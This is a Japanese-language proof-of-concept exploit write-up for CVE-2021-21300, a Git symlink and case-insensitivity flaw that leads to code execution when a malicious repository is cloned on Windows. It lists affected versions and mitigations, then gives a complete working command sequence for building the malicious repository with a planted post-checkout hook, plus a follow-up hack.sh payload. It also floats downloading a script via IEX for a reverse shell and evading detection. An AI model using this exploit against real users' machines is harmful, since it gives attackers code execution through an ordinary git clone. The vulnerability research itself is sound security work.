
CVE-2021-21300の概念実証エクスプロイト。大文字小文字を区別しないファイルシステム上でのシンボリックリンクとフィルターの悪用を介した、悪意のあるGitリポジトリのクローンによるリモートコード実行を示します。
gitの複数のバージョンにおいて、シンボリックリンクの処理が厳格ではありません。大文字小文字を区別する(例:Linux)ファイルシステムでファイルをgitにアップロードした後、大文字小文字を区別しないファイルシステム(例:Windows)を持つホストが悪意のあるリポジトリをクローンすると、リモートコード実行が発生する可能性があります。
2.15 から 現行の 2.30.1
1、バージョンアップ
2、以下を実施
git の symlink を無効にする: git config --global core.symlinks false
process filter(通常は LFS がこの機能を使用)を無効にする。git config --show-scope --get-regexp 'filter..*.process で確認可能
1、リポジトリ内に同名のシンボリックリンクとディレクトリが存在する
2、シンボリックリンクが特別なディレクトリ(現時点では .git/hooks)を指している
3、対象マシンに悪意のあるコマンドを実行するための十分な権限がある
システム:ubuntux64
git、git-lfs をインストールする必要あり
git lfs install コマンドを実行するとエラーが発生する可能性あり
Error: Failed to call git rev-parse --git-dir: exit status 128
無視可
Git LFS initialized. と表示されればインストール完了
システム:win10x64
git for windows :Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
git for windows のインストールはすべてデフォルトで可
オンラインのチュートリアルは多数あるため、省略
以下のコマンドを実行
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自分のリポジトリURL]
$ git push -u origin main
win10 の powershell(管理者) で以下のコマンドを実行:
git clone -c core.symlinks=true [自分のリポジトリURL]
クローン後に PWNED が表示されれば、リモートコード実行成功
このように、クローン時に post-checkout ファイル内のコマンドが実行される。
アイデアとしては、IEXを使用してスクリプトをダウンロードし、kaliでリッスンしてシェルを取得するが、ほとんどのスクリプトは検出されブロックされるため、バイパス技術で回避できれば実現可能と思われる。
ディレクトリにスクリプトファイル hack.sh を追加
内容は以下の通り
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
post-checkout で実行するコマンドを変更し、スクリプトを実行する
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout